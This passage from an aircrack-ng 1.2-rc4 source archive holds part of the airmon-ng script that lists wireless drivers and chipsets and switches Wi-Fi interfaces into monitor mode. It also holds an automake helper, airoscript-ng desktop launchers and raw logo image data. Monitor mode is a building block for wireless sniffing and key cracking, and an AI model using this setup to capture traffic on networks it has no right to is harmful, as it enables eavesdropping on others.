/bin/sh) --version > /dev/null 2>&1 then printf "$($(readlink -f /bin/sh) --version)\n" fi else ls -l /bin/sh if /bin/sh --version > /dev/null 2>&1 then /bin/sh --version fi fi if [ -n "$SHELL" ]; then if $SHELL --version > /dev/null 2>&1 then printf "\nSHELL is $($SHELL --version)\n\n" else printf "\nSHELL is $SHELL\n\n" fi fi fi if [ "$VERBOSE" = "1" ]; then lsb_release -a printf "\n" uname -a checkvm if [ -n "${vm}" ]; then printf "Detected VM using ${vm_from}\n" printf "This appears to be a ${vm} Virtual Machine\n" printf "If your system supports VT-d, it may be possible to use PCI devices\n" printf "If your system does not support VT-d, you can only use USB wifi cards\n" fi printf "\nK indicates driver is from $(uname -r)\n" if [ "${MODPROBE}" = "1" ]; then modprobe compat > /dev/null 2>&1 if [ -r /sys/module/compat/parameters/compat_version ]; then printf "C indicates driver is from $(cat /sys/module/compat/parameters/compat_version)\n" fi fi printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n" printf "S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE\n" printf "? indicates we do not know where the driver comes from... report this\n\n" fi if [ "${VERBOSE}" = "1" ]; then printf "\nX[PHY]Interface\t\tDriver[Stack]-FirmwareRev\t\tChipset\t\t\t\t\t\t\t\t\t\tExtended Info\n\n" else printf "PHY\tInterface\tDriver\t\tChipset\n\n" fi #this whole block of code shouldn't be here, it makes no sense #per shellcheck, this block is broken as it runs the loops once with iface=listIfaceUnspec instead of the output of listIFaceUnspec #for iface in listIfaceUnspec; do # # if [ -e "/proc/sys/dev/$iface/fftxqmin" ] # then # setLink ${iface} up # printf "$iface\t\tAtheros\t\tmadwifi-ng" # if [ x$1 = "xstart" ] && [ x$2 = x$iface ] # then # IFACE=$(wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath) # setLink ${iface} up # if [ $CH -lt 1000 ] # then # iwconfig $IFACE channel $CH 2> /dev/null > /dev/null # else # iwconfig $IFACE freq "$CH"000000 2> /dev/null > /dev/null # fi # setLink ${IFACE} up # UDEV_ISSUE=$? # fi # # if [ x$1 = "xstop" ] && [ x$2 = x$iface ] # then # printf "$iface does not support 'stop', do it on ath interface\n" # fi # # #why, dear god why is there a random newline here? # printf "\n" # sleep 1 # continue # fi #done #end random block of code that needs to die for iface in $(printf "${iface_list}"); do unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt #add a RUNNING check here and up the device if it isn't already ethtool_output="$(ethtool -i $iface 2>&1)" if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ]; then getStack ${iface} getPhy ${iface} getDriver ${iface} getChipset ${iface} if [ "${VERBOSE}" = "1" ]; then getFrom ${iface} getFirmware ${iface} getExtendedInfo ${iface} fi else printf "\nethtool failed...\n" printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n" exit 1 fi #yes this really is the main output loop if [ "${VERBOSE}" = "1" ]; then #beautify output spacing (within reason) FIELD1="${FROM}[${PHYDEV}]${iface}" if [ ${#FIELD1} -gt 15 ]; then FIELD1t="\t" else FIELD1t="\t\t" fi FIELD2="${DRIVER}[${STACK}]-${FIRMWARE}" if [ ${#FIELD2} -gt 28 ]; then FIELD2t="\t" else FIELD2t="\t\t" fi if [ -n "${EXTENDED}" ]; then CHIPSETt="\t\t\t\t\t\t\t\t\t\t" if [ ${#CHIPSET} -gt 70 ]; then CHIPSETt="\t" elif [ ${#CHIPSET} -gt 63 ]; then CHIPSETt="\t\t" elif [ ${#CHIPSET} -gt 56 ]; then CHIPSETt="\t\t\t" elif [ ${#CHIPSET} -gt 49 ]; then CHIPSETt="\t\t\t\t" elif [ ${#CHIPSET} -gt 39 ]; then CHIPSETt="\t\t\t\t\t" elif [ ${#CHIPSET} -gt 35 ]; then CHIPSETt="\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 28 ]; then CHIPSETt="\t\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 21 ]; then CHIPSETt="\t\t\t\t\t\t\t\t" elif [ ${#CHIPSET} -gt 14 ]; then CHIPSETt="\t\t\t\t\t\t\t\t\t" fi fi printf "${FROM}[${PHYDEV}]${iface}${FIELD1t}${DRIVER}[${STACK}]-${FIRMWARE}${FIELD2t}${CHIPSET}${CHIPSETt}${EXTENDED}\n" else #beautify output spacing (within reason, interface/driver max length is 15 and phy max length is 7)) if [ ${#DRIVER} -gt 7 ]; then DRIVERt="\t" else DRIVERt="\t\t" fi if [ ${#iface} -gt 7 ]; then ifacet="\t" else ifacet="\t\t" fi printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}\n" fi if [ "$DRIVER" = "wl" ]; then if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then startwlIface $iface fi if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then stopwlIface $iface fi elif [ "$MAC80211" = "1" ]; then if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then startMac80211Iface $iface fi if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then stopMac80211Iface $iface fi fi done #end with some space printf "\n" aircrack-ng-1.2-rc4/scripts/airoscript-ng/0000755000000000000000000000000012660222377017200 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/.mkinstalldirs0000755000000000000000000000653711377243741022101 0ustar rootroot#! /bin/sh # mkinstalldirs --- make directory hierarchy scriptversion=2005-02-02.21 # Original author: Noah Friedman # Created: 1993-05-16 # Public domain. # # This file is maintained in Automake, please report # bugs to or send patches to # . errstatus=0 dirmode="" usage="\ Usage: mkinstalldirs [-h] [--help] [--version] [-m MODE] DIR ... Create each directory DIR (with mode MODE, if specified), including all leading file name components. Report bugs to ." # process command line arguments while test $# -gt 0 ; do case $1 in -h | --help | --h*) # -h for help echo "$usage" exit $? ;; -m) # -m PERM arg shift test $# -eq 0 && { echo "$usage" 1>&2; exit 1; } dirmode=$1 shift ;; --version) echo "$0 $scriptversion" exit $? ;; --) # stop option processing shift break ;; -*) # unknown option echo "$usage" 1>&2 exit 1 ;; *) # first non-opt arg break ;; esac done for file do if test -d "$file"; then shift else break fi done case $# in 0) exit 0 ;; esac # Solaris 8's mkdir -p isn't thread-safe. If you mkdir -p a/b and # mkdir -p a/c at the same time, both will detect that a is missing, # one will create a, then the other will try to create a and die with # a "File exists" error. This is a problem when calling mkinstalldirs # from a parallel make. We use --version in the probe to restrict # ourselves to GNU mkdir, which is thread-safe. case $dirmode in '') if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then echo "mkdir -p -- $*" exec mkdir -p -- "$@" else # On NextStep and OpenStep, the `mkdir' command does not # recognize any option. It will interpret all options as # directories to create, and then abort because `.' already # exists. test -d ./-p && rmdir ./-p test -d ./--version && rmdir ./--version fi ;; *) if mkdir -m "$dirmode" -p --version . >/dev/null 2>&1 && test ! -d ./--version; then echo "mkdir -m $dirmode -p -- $*" exec mkdir -m "$dirmode" -p -- "$@" else # Clean up after NextStep and OpenStep mkdir. for d in ./-m ./-p ./--version "./$dirmode"; do test -d $d && rmdir $d done fi ;; esac for file do set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` shift pathcomp= for d do pathcomp="$pathcomp$d" case $pathcomp in -*) pathcomp=./$pathcomp ;; esac if test ! -d "$pathcomp"; then echo "mkdir $pathcomp" mkdir "$pathcomp" || lasterr=$? if test ! -d "$pathcomp"; then errstatus=$lasterr else if test ! -z "$dirmode"; then echo "chmod $dirmode $pathcomp" lasterr="" chmod "$dirmode" "$pathcomp" || lasterr=$? if test ! -z "$lasterr"; then errstatus=$lasterr fi fi fi fi pathcomp="$pathcomp/" done done exit $errstatus # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/0000755000000000000000000000000012660222377017767 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/0000755000000000000000000000000012660222377021420 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscript-ng.desktop0000644000000000000000000000041111776654501025575 0ustar rootroot[Desktop Entry] Version=1.0 Type=Application Encoding=UTF-8 Name=Airoscript-ng Comment=Aircrack-ng TUI GenericName=Airoscript-ng Exec=su-to-root -X -c "airoscript-ng" Icon=airoscript-ng StartupNotify=true Terminal=true MimeType=text/plain Categories=System;Monitor aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscriptlogo.png0000644000000000000000000002177311776654501025205 0ustar rootroot‰PNG  IHDRëªL¸bKGDÿÿÿ ½§“ pHYs × ×B(›xtIMEÜ.d," IDATxÚí}ypי߯¹O ‚ EY¤hI¤d-åÕ}XmK¶åCŽ·âÄv®Z;Þ²S[µÙì&©T*‰·6Þxw+•¸¼Š|eíÈ–­]ɺ%ËÒR6%Ѥ)‘"(^¸18söÌt÷Ë(Ä ¾×ýÞ` ¾ H53ÝýúýÞw   °. -ÿÿá÷§Caöo4h_u™i‡›d-ù»h7kË‹°‹vmMÃ8^wØçÿôK_8°"Y¿þ×÷odþ=€ºuÓFvå¥ÛñHxႬ5 §®£žI½#`dr¯;Y±ç€ãºŸÿw_úâÙódýú·ø·Ìqÿ¸¯§Ë¸rÇ`(•ˆ« ©®£ži ¯S·m¼öæYûôÈD:ûã?úW_ü†öÍo~3T&Ë¿w÷ôH(´~Õ öîScßdn…,õyZ¼V•jß{øq÷O¾üÏ  Cc›z{qÖåx1í1MÓÀTS„Q¤Y0Õ()£°>ö…©G‘F‘¦ÝŒ½CV¦H£ Óö{Ì|{…™"""L[¿Kóü*b)Ò(Ò´õž0Õ)Ò(Ò¬˜jiiÖÇw01Eµ'Ô´éþZä –þ–iiÔþò½”ƒI‘F‘fì _6«mÛŠ0Š4ê å!œiÊ'ëòÅ©VkØ´¹º®«W¦nçÝI/Á·ìº.¦§§<߇/“aUz±‚ÅR…@4&G n%4—Ç-l‹Ö2ŒUx½ÆDU «£;äàw3¶Çê¨8N”‚x.†Í´– jæI,.ñ{p01·eªMÒtð™Þ.‹WÏÿ¿«QÁ‡6ðD6Ž'fÊ?¦Ðwn(ã_Ì#f.Þ$%|¢/€ÿv¢§Ëf éêý[z»/tÒtðå­ÓKˆŠó7ÏðÁî®ï(©©°"ö¦ªøê%¹eD]À`´Žÿ¾;‹¨½.žE_*¢ùþd VScøÂæYt¦ŸûPwqÓU;SáÓé+Ûsh¦èÆL†ÿ¼sé@ﶈ¬íªAÞכÖH}ÕÏ…t†ÁhMíN…%رÑvHöìÜ9 Sc­!Þ*Œ±%hw5øºŽ2®NUè„€­v§Âl Ó÷ÄÎx _ØZNTFø×H´êžu`&O"÷†êøxÏ<×w²uåVXŠQ‹oOÜÛWÄu«ížÃ]*Y—²úO á³}9.•ÄfΔjw*\@Ö™šÁõ?Ì!Õ¦öëŠ&nËW îì.bS¸ÎõǧÈÛ†Ú K%þòTŠë;Aÿz0'Ñ`@ÖvÀ–p ·føì†ãÅž‰©©°"þa6ŒG&ùöÇ në®H¡êÛ) ´¿·L¬ÍÈÖþñ¦9 %ã–‰ûG3pZ˜…¢°þð—§Røõ\˜ë;_Ú–COÈ‘p7\ÁÑ%Ù—ƒI¤|GWAúâX®†Æ2¨¹Š¨ ««Ãv2É*ÝTŠ™ ¿?8ß÷Ï.´Yùÿ‰Â† ›2|YH?OcRå+1_×ñŸÞàÓÂöuX¸6Ý>Þá¶Pƒ?Ñ;ƒÃû{p>Šßä#j*páD1€ï '¸¾óûƒóê‚ó¦Ÿ'ëøksawÜÂŽh•üù¼­ãg“Iµó<áG£1 •èa¾Þ°ƒ{zÅ垯äHjÎÖ6q0pwOžëpøþXJŽ®v‚'8LÃ9ÑÁåëøìæ"’ÂrϽ;…Î;˜˜‡?¿²uo²Œî =%ì•ù(N”BjÇ)øÂHÅÄ÷GèêpÔpqo_Qž¼ê·ØrÉÚZW°¡-”·QQrtüT©¿ Õá3u¬ë-!\ÛÌ&]œõɇ}é22z¨æÑlR©¿ BÕá¿æÈn  ÷mò—èï7:ê¯DÎãu ¸9CW+F¬ä¢j‡)Åá|¿˜¦Gîê)ûÏöÁXÓÏõ¼âªDeÕ‚òÅx$›lIÛ–þH·dŠèÔ¡1†+€æb8YVv²Ll Ù¸µ³€-á:‚:èÀK¹(^+†¥_ûþs \ßi‘B‡!áî%|—3ü#JÚ'+7<’Gp{]ªž(…p¼(Ÿ,·wqWwú¢ë :¸"iá¹Ù8Vö²\—.áãóKª¬:v',¼”‹âÁ‰”ÔtÒ1ËÄßODÉá™õ–ðã±8ÊŽæ‘›Ì3¥õ¥?"ßÉtY¼ŠÞ½ªæçÙ„ô sGWêÎ/!êâÃå–L{’Å,ÑšL¸ŽOôæ–CîK—q_¯ü”¿¿£Æh©ˆqÓÅ=å–jÁKsƒ[è`º¡ƒ.U‡ê8S J½ŸÝ wu­î8øÈ†¼b—`ÜÕà€\ŒkReÜÚY”z35ÍÐ5§n,B×¼RÕ;|9˜x¿×pðž=[é©I¹¹¿ÝAŸí›ƒ¦Ñî=¡š² ¥¿°ÐïRŽ}ãž ÂÕhцްƒ«RUï¤ñ¨Àúënȉ}é2ùD3{p¢ ¯ûƒ¡¿·)‡0GÞ§ê (rýÂ:m=u øG}9Dtyë?ax±º™üù÷ˆlKcšî‹ùœäø4]×6—‘n§n Ó;"Ö™†)Uå# Ó0Y£Æ)ÓÁ'%Û¯ÿ÷”š4¹.cq•t6'ØjŸnTÏÊs1ÂîŠ[H™´‡Ë3xuTžØªãvN;èh! GuýŠ#y¾ÐÌždïMÈ+Y;9[Ãqs€,|néªø¦)<ônè {9¼©‡ôKáºr˜¡øt_I^ÙÑñÐdJ±K0žš‰cœ·áF%k+à±ùògyÉêo9˜˜§аîb7ñDtôž—g›ìIV¸Ô_îÍ `«TGªðߌdPæH#M™nÉÈó?ýÆ rFé³;âu¾Ñ>££$S󫯎ËUrkÑS‰Ý˜•ò"La7Ÿzýðd'KAÅ,I˜®›øÞhš+)ç–N‘%kKQ³JxѼœüù:y¤+óÆä¦õ¬‚5â«“tÇÒ¡ZdÅ}oî,q9çÃøÅ¬êœ(ÇJa<;'>¤3|HbÜûÑÉÙÑt{w]7IZjúŠ%ÊsF\ØKc4µ³jFñÛQ9=[c†Ë\/;:~¢ìÔ–á±lS5ºýzM²Œ!9#SN:…áðVÒg{Ã6¶JŸB·Ü,)f³#V%;sN&÷ 85,GªfŠ\qºŸL¦Tãð¢Î4ü`Œ®ë¸ê¡¹li«„¸”~p´¨©š¾àD‘—±+FW«Q^Ñ]\ÏÑ=q¨Â+óª![«q¶ä*…¼"Q‘&]Ÿ7àÜ}Žl&ÿ&!|m¥!È+¡b&qì줔…¿®£LÎTbJ(欞˜Nû#in’ä>÷æ œ‰l§ ¤D Qƒ âé Ö,©ašOÑÚª£ƒØ âtü2T²#ÂÝЀ8¤ê¡|Dzñ€BcÌÛž™¡;›®IU¤äl»µ 9ý¤ÏšÃÕiªtå'Us—£©1x’öOVbá~OÌBš˜9å0MIÕ6À/fã丶©1®hNѽ)‚¹ÇD ¦Zä`Ù‘q9ƒ†ßŽËqÅÿnýE¾’`FÍy]sX®†ç8B9ïï(CFyú‘7‡Q4h‡÷{“5‰+²È,at ` B{€©H?¦''„?bÂtqÑÁŸÔ//è :è\çÚÃ:Co¨.5åþ!CÅ¥I×î ¨x²ØU G´Ògû£6¹*‹¿åï[ZÙSäacR³LNÚSÂïaO²B.É;^ I™£ƒá¶®"nÊ”3Ö£âêx~6†'²q²Çq­±ÐÕaý¡4 pp¦ăiLHX7ËÑp0ÁDÞD§Ëâ} ¯Ì™x?A¸jv&ê88’¦ ÓŽ®æYP+«ÀúI74-Çæà±e^˜Ÿ©Ö¾²mû» ç‰ ,„’îì*àË3\k…+|e ‹-áÚùB}C¶GkøÚ¶,W‘~9#‹‘=É ×¸P*^=;Mþì®DÍ;™šù‡Ù2›µ©(öࢪÀ NNŠ·W3ýÄN¹ºã%±ô4 ølß\Ó¢H è*¶5Q“¦ƒOõÎ7$‚©1|¦/ÇUAÅtÝěļì¸éb[D|7‰Ñ¼ƒ¼F;Èw&jRß…þŽlöðׄ±Ô—7«%¤4ïÞ·È æÁùDWäÝÜQ$U]ßQjkExo²‚¨ÑÜœ15†ÏmžCد%œ§'Iì–Të:dÑ|—Åë{3q:˜üüÈ'€¶3IÁYI1Mž°Ñá‚Øl¥ÞPû7ÐRᢆ‹LÐi[²nÓ´“LÀÁÝ’ëÃäV¤—IêÓttºF~—V™–~Á€8“”î†Ó¦—ÄåêÂ×Ð.!¾¸©š‰QK\¯' À§zçÉÏ ­;Pð¤ìK—0(Ø+[vt¼AFÖ²¹F²Pq,G×ü¶Dì&Î%æ+ôB¾‹fŒ_ž|M‘D9ïÜŠÖÉé…¢»¾_‘¨íu(Ú:rõö-µèšàžž¼pµþ(Ç;zOL¼*Ì3ÏuõŽ~L ‹b 6pUF¸„‡,Ç âºýëðá¾Jž:εÀËóä9ºdl ×p•`ï0ÏD†Á¨xM­`ëÈ+°d–Ëé͵`oÉÁ=D²æmøæÁV"Y«®†SmæÝ ]Ig+A®Lµ@ÉÑñ“É4—Ö&º)÷\Ý Çr·DäxdÏ• âõmÁru™ƒÉmø3ÞÐCœ­‰W5Ðc¼g*A¡sTnâ˜6PquüŸ‘¸ë câá|Ïs*›Ãuá¶+u8XwÐ^Õ{íÃDsm‹ÉÊÛƒÉ í³."Yy:P‘ :Kšž–¥*ï}h"EV­ÚL%0Í‘7}c¦$ôúÔ¨z§.²VhÏ3Üæc!}ÈÄóÞ`²X^lÇ®`Ìš#Ÿl2ìÕž ýE.‹“ìצèÙRç*¼,¸¸]×r¡7†lô‡ëè Ø\ÓVCi\“ôvÇ-¡ôyÞÕÆàÚ‘@4ó¤ ³ æ³ z¯I“ží:'A²ðx¢ÏYb$«¾€üßg“‚e—ÄjØ›(cwÂZ±®sÄ àH>Œ_ÏG1ïs½[ãœ$%¼Ã剪°Ci¦n¢äè$­©GB÷ˆl•¾vA§Ë¸J+R_ Äã‚‘2aÒã\ùºxçõEl]XæT„^dÎ b¨äßݪ㞞üªÉ›Ãul×q{WÏÏÆðôL–ëÝNf:†²™¦î_™¨Õ &«&ÉÔÑêe¶Fß+ö‚ßʶ… ¦U¦Ñ‘â¨Ú/8â%ë†5°—wÅéRõÀ\Ô÷õnë,âkÛ²\YZAáö®"¾6˜%g—5’®ÔPÎ¥±* ¨fuð `먑!êSú±Æ&? ÓÖZ²R3XDÚË;¢4Ò8la³ûÁ]|xCÞs…IWÀÆ—·N£/äÍ®s¡áh1B> 6 töLØ¨á µ×ßæÄQº6íLâC¾%Y™·ÙT+’•vªX.ý¤"ÛŽ3hd$Y5€¼ñOWB¾Tï}é2ö h¿Ñ]ü‹-³äv7+IW*6…Ä‘•ç%Lñi‡sÄL³Î ËqPZ¨a±deÂzƉžà¼„Ù1qÃ%Kœ¼ <°ÉÕ&¯ûÈ–Jš.>Ö#näaÒtðQ¿7T ’;n ‹#+Ogã5戚`²I膧 ÿ2-˜'ÎJcm€¨~T$”Å%ŒÖ«à›96ã9yÐì.o¥reÒâJÍ|G×0V _ŸÕ0ÏqÀˬÔ&n!I-oˆ¦-ÄY)°™øÂ¿Ä8·xò Ç«ÞÈ5\®8.nöØw—ú,=![XbÑÖÉyê2Ú“Rµ‰Æ‡*áæýN‘ãц©d­Iâ(~. ’ìTµ®np6\ŒÝqKZû—]‰ª'‰=BLp$ɬ9—<,AºÕˆÂ:Øè]y61¯ òËY+ÉÊ&¨»b®%~ææP§x]³íòxgmg¸“¹FÜ7¦„íê[²úã°¹ÄÁÄ{…mV¬Yy^¨ë‡‰R£ìx¿^§äN™€ €ÏùÅcóG&ÖÛkHVjô"h4#¥‡ûâw0­tx_¤ú’Õaâº3Pó_-¥€qC.YS$_•C3™QwZM^›U–ƒÉÞî`ÈZL˜µ$«¸kSm#ˇde’Ëè¼È=ž5)å¨îªµ”¬¾Š_×Å¿xÚé‹»ÄÅÙ_–ü}œ¶2Ò2cÞC‹§‹ŸÈÃÑ$þ”#¡g$ÕÉWw¨+°×YW8òë.uÑ×îä34v¾Yµ_Tˆ3ê£MçLM.Yg=Ì÷áq¢ØBɺvÌ oÁcÓßÅdeÂÚS½¬2l ž\Ôõé¡ïNÑMÝ–«ç'=Œˆsع–+Ž85ô‰P¨æö¼w¢y’¬ÍBBT›" AXðÄnEIvªã(æÃ#z¼’bãÀå°§ßNqd¦–š"TQÏd%jxÈêsË-š"Ç3ê±1]mâ)jbíÔ`º”lÚ5»CŽç¢âêx^Â,ƀdzÞ¶õôJ‚ln @ÔdþÓÉZu°®˜ÁÄZO6k‘ãoÚ'‡Çž$Ú{:˜¯¢è§§ãÂ;A¾šxN¤VÓÌØ¦°0YÌtÉŽÉ’§™¬M ®qX¡»¡PéF䀌¹(<^Ó„ Ø%O“r?(%GÇ#Â6þx5€'Òž¿O}‘Mܹ 5$TuEˆ{¶QZ¢×W·ÌÁaÉÁÔÓ_F ¿`ÓB¢Rà&ª&Ùæ£©7´/K!ül*å[ÊÛ:îéðìøé ÛäõJVŽw&ƒ¬ÔÖ=…¦9à¾LÌWó᥄1ˆdu…ÏÓ´™F.½5 Êf¹õ®DÕw|ù—³1|k¸Ó³J|²Â×Om@ÖGñýî8½ãþˆ@²ò̱‘›¦•Ï5 µù{÷+L‘ó»¡ÖjšéJíà×#°OµKbDw±#æ¿ùõ±b~ª ‡òò미:þn*‰ÿu.ã»QÜÄNŽŒ-´]j3¼:Ó¤Œ¥JÖY튧2˜ï^Œ1Tà¬æŸÜŽt¢j’<•ö–=Záº4­©õû;Jä©h«9¶¾3Ú§¦ã¸:UÁ{º—@N•C8\ãP>â¹Do1¶Dêä‚ò³VP(i¨=¡§ª¦ð͈ÁÈ6ël“$?÷å«ói+,Tó‹¡AíZ˜ ,„RDdº •B¨¹É[¸;¾0gº.¦ÔX5€±©þn*‰€Æ8é y[GÑ1„縑cDˆßæp°4É:)aÒC‡ >Ó¨±óÊ3Fw05r+ûµdôÉ™"Úº&®?PiäIgºÜÖU„ Ô™†lÍĈ@ÞOÔž=)kMÈã:-cÒ½ VáéÝ“KêÁËÑÈ¥DÝú»òœªÛd☞~mªLN*h'ÜÓ“';ÈF­€/'ÖrlÔÈ©ù2Ⱥ)Bß«35Áö2[â`bØßìf‰N ÓÇ-“|Xl8éìH>L4¥kÀgúrR*dáÊD;9¿ 8ãj€cîêH5(üù·ÉZs5Ì6¬~’ø—ªÁžd)k Ýhv¨Œ1.4rloÇiM¹î‹´?\ÇGz 남ÝAŸî£·--9:^[OÖÎÈžèseSÂ[Xâ +Ýxœ<2Tá“¥ 9žu‡FÁ33q®ØñÆ`]Jž´0[‘³ øãÓ _ý¦VGÅ¡|‡ò4‹Í4LU¶%+µ„Îf¾7&®*è¸F¶—O”BRšË½wm/9LØeú¬|&Aó©È¶CŸ–“âdâµ7U~ý‡&S«ÇßÙ`.´¶%ë±bˆd$ýt2)%¾¹'I7ÇJrÚßPÕð“%“ËÁèÛÁÄÇÖÆ¯ñ ‘¬:s°5#~‘‡­ Ù…?© vö¶Jöí‘LÓ—g¹:œHµµƒéL%¸jÌô@.ƶ¢"j¸d²Ö™†× â÷Q&lÍ x¬$ÑÎku›.ë%ó¸Ðwô¤¤œF‡9²Š~'-~ðÓˆÀ_œéZ±Ll¬À_í$Ïü\Kül2‰'§¨¸6Óðh6‰K:p®IUÈZ×ñbHhc¶ó*ð–nºéU ö¥w=Ø|çÄb´b’“Û/‰XR^ö¡|·vÒòpß—,ãÑ)ñžÌñjq¦ƒ‘*ú#uè0\ àd9(­ šh8LãÙ~•‹`0ZCWÐÁTÍÄ©rPÚa£iÀõ%®w-{6˜ä`Éë«HVÏ,c‹Èêí§šÏÇq¡aØ †m±N#„Us±˜¨š¤ðPØ`¸>SÆSÓq ›*‡0Ta=c¦nbfÞlɵ®X¡ä¯™9!¥]«¦c9,¤\]Ǹe‰çÂG>.Æ)b?ZÓ­âò­½R^úK¡„:ŠÂ+xà€[3ôT̃ó)Ž­[Ñ['}öµBPúºïÁ´ÄŽàðÎíLÊI»ûUŽþ"“¦KV›äáªd[ˆQ âÜ€ëûéšÐ˹0éf½%ó p0­Æ×3åy Ó¶êi˜‰Ná n¹:^å°gnÊ¥LÍV ÁÐöo KÕ7Ë!)!#M7±'4C'ë\ˆƒ5>êY™ÇK¬Ní´Le[¥l€§gä`}XgØßW¬Y#ÜØQBW€ž‚ú¤töâ²Êë¤Ïž-›˜”™Øâ.QƒyºðóQö Uxo²"åY§kŽéÒõ}©²”œe…æˆ.W±jC%9N»¶„`4Uü`ŽºÇÛ°Dn1Ž鋹³üÉN)÷ñD6NNE3Þ*74E VâÞó\3žœŽKÙºšaâúðùóçè{\À99&˜«&¶£L[Ø1Ð/e#ŒU8˜’?¿%\Ã]Å ášT…+µðT9ˆßHŠ­öôbWé5Ògó¶Ž#ù ™¨~às>+íc<ž½qyÞØÇ² ®n†·wÉ^IïH›>ÊY×ûH6)í~nîÀ­Úè—Ó¼Sø¼ËVݯh¦’•ÚiowáeÄR)/a®nà³t7¿¡1|nÓ¬¯q ÍоØÏ·Æ‡òr Ÿ_àNã8ùóÏNGå/Òòñ2éš· œ&&ö‡ì2Þ×/ïÔ|j:ÎÕx:pðùͳäâc>||㲑þžŸÍF¸{3{ï8˜†ä:˜ÞÆ‘|˜l/öXÃè–']_ÍGp$Ï—Kz›ÊlÞl±+ -® é°‰kÙIòçŸÉò:¸ ¦òcSQrø2‰në©JÝ(N¦¹Ôá¸érµ8QXÅ6Ô@ž™,”ãý`¼Cj¡þ½;‚0ZÚë±BC¥@K×lÅD~Y80GW…w¹g¹Füñ¢`ëøi®çUIþÉÊL#ìÑ©Æ-yêoHgØŸ¥ßϤWÇ’—ù¬K¼Á²ýÁ 8S b˜Ø€[g.>Ð'W’·ñÔ4ÍYa¹:¹ÅªÍQ4Fìïô›|„»Å+·­º©ŠhqÞùºîA~‹ª^Zþ6Sƒeªà/qH׫csR†W-ÆãÓ RÊÚ¯s(¹*/Í­¾á³5?—ÛúÆÔ>ÖGOÈx:ñÔÄœù¤™îU2{½òËù(ŠÄ±&spg·Ü,"‡3ÒÑtèïDÕ”„¿hÉš‹áõ&EãsußÎïÞ±÷ô–ÐmTÈûå§ñ5Y/©Åç+¡æjx‘£ üÚTYªíú¶Šû?ÎtáÉéøµ /ÌÅð3ÝRŠ›/v0ßÉà‘lrÉú: xy>НŸê–¦€¨ÁðéÍôö1/ÎF0aÞØà¹ùñËÙnÉк2˜Ã]Ýy|¬Cº õh6‰Ç² ô†:°[¦aË MÖ-$ª<3GOÈF.&j–ŽŸè+r5YÿáhÜ'_˜-K7l%JŽŽ_å8l×TEèxÆÕH;j0\ (¢¶˜´ã–‰sV°eDí 9øä&z¬÷Õù†ŠþÂ5 gFÔX_é†~HþôLœl¤kîí™W) BñÏòq„ã8—X“ût‡nÀü¹”½`Þ6¸în ×q]º¤v˜‚ìIUqc'Ý|`6Lhâ-úZ^üÉleŽ,¢»7äÉí)!nºøÃ9òç|ëìÚDc‚ÈêSºV\«d-¨3|ªwšR‡|à [ è ÒJÏMG0"`Hr㡎”v\î|IDAT–Jkä`ZŒggâ˜åèê~I´ÊÕ©]Aa1®NW±¿‡¾*ކo‹”ª>rt/¿²œñ~PgžâËPùp·R‡ø5\|u{Ž«à# L×u.ôèèY–ÁÄøK‚3þçÃ\]ê‚:Ãç6ÍI©ðî„àwäТ«¿Ã?‹µÍ3èír#;ž&7¼ÃŸìÍ©]¨@Â}› x†>ÍeÀ7ÞL µûÉl²ÎÖ <œåS‡ß—ªà–Œ* WhŽë2>×Ï—cþÐxGó2B5-èÈßL—…—æ¢\}†à#=y\«ª©°"zÃ6þhÇWBÍpÅÄý² Dz)rÌ›bÝ •BøÎXGÃ><£VM¦ÔÎTX?ã×sáUÃÿ<“Â#Ñ–Ï«Ýj.ù…6Å‘|ÕnìïÎc[¤†tÀŘeâ·…0žž‰Kmü¬°¾á0 r,ƒö”qGwÛcuT\'Š|÷\¢åºýÀÚ')¢æê†ô>L ïN0?ŸŒâç“Ñuxçl™dõ@<øo¡ pÑ&Y-'«‚‚B{ÈÒ d+s—“•ñ鹌ÁqLLL¨VPhéhzý•`0ˆ7Þ<Õ¡^û»sñÕžX¬Ìõ¶@†©´hE…V­þyo0S¤Q¤Qh¿ý%×Á¤H£pñʬOk’.§H£p‘“¦mlV¿O©H£H£öD‹ÈÊS‹«H£°n$«"Œ"ÂÅHV%e$’•)Ò((¬²ªœ|…ö† )¢*(¬²*((¬ 5¸³³Ó­Ô­?ÿßÄÔr((´4MÏ«•PPPPPPPPP¸HñÿX©ùkHNªIEND®B`‚aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscript.svg0000644000000000000000000023013111776654501024325 0ustar rootroot image/svg+xml apps Kris Thomsen aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscript-ng_gtk.desktop0000644000000000000000000000043311776654501026446 0ustar rootroot[Desktop Entry] Version=1.0 Type=Application Encoding=UTF-8 Name=Airoscript-ng GTK Comment=Aircrack-ng GUI GenericName=Airoscript-ng-gtk Exec=su-to-root -X -c "airoscript-ng -pzenity" Icon=airoscript-ng StartupNotify=true Terminal=false MimeType=text/plain Categories=System;Monitor 